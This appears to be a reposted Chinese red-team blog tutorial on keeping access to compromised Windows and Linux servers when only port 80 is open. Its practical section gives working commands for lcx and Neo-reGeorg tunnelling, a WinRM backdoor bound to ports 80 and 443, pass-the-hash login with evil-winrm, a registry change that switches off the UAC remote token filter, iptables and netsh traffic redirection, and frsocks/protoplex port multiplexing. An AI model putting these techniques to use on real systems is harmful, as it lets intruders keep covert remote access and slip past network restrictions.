红队技巧-在端口限制下的砥砺前行

  • A+
所属分类:安全文章

  点击蓝字关注我哦


前言

就在昨天一个大佬被提及面试腾讯的经历,嗯?也就那样吧,很基础。。。。。。。这就是大佬吧,膜拜大佬!然后我好奇的看了一下面试的一些问题,然后其中一个实战问题让我来了兴趣,问如果整站被web.config做了出站限制,在不更改web.config的情况下如何转发?唉,我知道,但是我就不说,我就是玩儿!

这让我想到面试zteam的时候,大佬问我,如果做了端口限制,只开80,不出网,如何实现内网穿透,一层还好,就直接上http代理就行,多层内网就不行,这时候就需要用到端口复用。



资料参考

端口复用,顾名思义,就是一个端口多个应用程序使用,在常理看来,一个端口就一个应用程序,但是实际上是可以的。

在windows中,lls web服务器使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用,可以实现正向后门

HTTP.sys

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。

- 为了优化IIS服务器性能- 从IIS6.0引入(即Windows Server 2003及以上版本)- IIS服务进程依赖HTTP.sys

HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量,微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。


整个过程描述如下: 

1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径(我们可以自己注册一个url prefix)

命令:

netsh http show servicestate#查看所有在HTTP.sys上注册过的url前缀#UrlPrefix具有以下语法“方案://主机:端口/ relativeURI”#example“http://域名:80/abc/”“https://域名:443/acd/”“https://:域名:80 /aes/”

2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。

(2) Net.tcp Port Sharing

Net.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。

还种是利用中间的特性,还有一种思路就是,分流,监听流量,然后把指定的流量重定向到另一个端口,好多工具,程序,中间间都支持,不仅设计到端口复用,也涉及到协议复用。






实战

端口转发的情况

工具:port-multiplexing

通过setockopt函数实现对端口的重绑定,从而实现端口绑定

适用于 apache、nginx、iis(<6.0) 等

python lcx.py -l 192.168.1.222 -p 80 -r 127.0.0.1 -P 3389

当然你也可以用Neo-reGeorg实现远程端口转发到本地

python neoreg.py -k <you_password> -u <url> -t <ip:port>
还有很多工具,多层套用才能更加畅通无阻!怎么玩,看你
正向后门情况

    最常用的就是winrm后门吧

    此方法需要,llsweb服务才行,依赖与https.sys模块

    被控主机:

winrm quickconfig -q 开启winrm服务,开启5985 管理员权限#设置启用httplistener监听并存winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443
攻击主机设置:
winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts="*"}#设置trustswinrs -r:http://172.16.142.151:80 -u:administrator -p:admin123 "whoami"
kali:
sudo gem install evil-winrmevil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

    因为在winrm服务中,默认是只支持administrators用户进行远程任务管理的,如果你加      了一个管理员用户上去,是受uac限制的

    解决uac问题:
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /
分流情况

    linux:

    使用iptables分流:

    将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):


iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
windows netsh好像不行,我没试过,我比较菜!
    windows:
将对外开放的80端口流量转向本机9999(只对192.168.154.129的来源IP有效,其他IP访问完全正常)
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.154.129 connectport=9999 connectaddress=192.168.154.129
    frsocks+protoplex+流量重定向实现端口复用(ztem文章中的技术,十分nice!)
    frsocks

    https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go

    监听本地的2333端口开启一个socks5代理。

./frsocks -sockstype fsocks -listen 2333
    protoplex 

    https://github.com/Pandentia/protoplex

    这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的      2333和80端口。

    注: 在实战环境中,先用protoplex进行分流,然后在进行重定向。

./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999

    同时该工具还支持其他协议的分流,如:

    SSH

    HTTP

    TLS (/ HTTPS)

    OpenVPN

    SOCKS4 / SOCKS5


结论

实际上有很多工具能实现很多普通的功能,当不同的工具结合起来,会产生很nice的效果,前提是你真正懂这些工具在干嘛,基础知识还得牢固,比如你搞个ssh隧道,你都不禁ping就去扫描,能扫出来个寂寞。


红队技巧-在端口限制下的砥砺前行

END

红队技巧-在端口限制下的砥砺前行


红队技巧-在端口限制下的砥砺前行


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
红队技巧-在端口限制下的砥砺前行

红队技巧-在端口限制下的砥砺前行
红队技巧-在端口限制下的砥砺前行
红队技巧-在端口限制下的砥砺前行
扫码关注我们
红队技巧-在端口限制下的砥砺前行


扫码领hacker资料,常用工具,以及各种福利


红队技巧-在端口限制下的砥砺前行

转载是一种动力 分享是一种美德

 

本文始发于微信公众号(Gamma实验室):红队技巧-在端口限制下的砥砺前行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: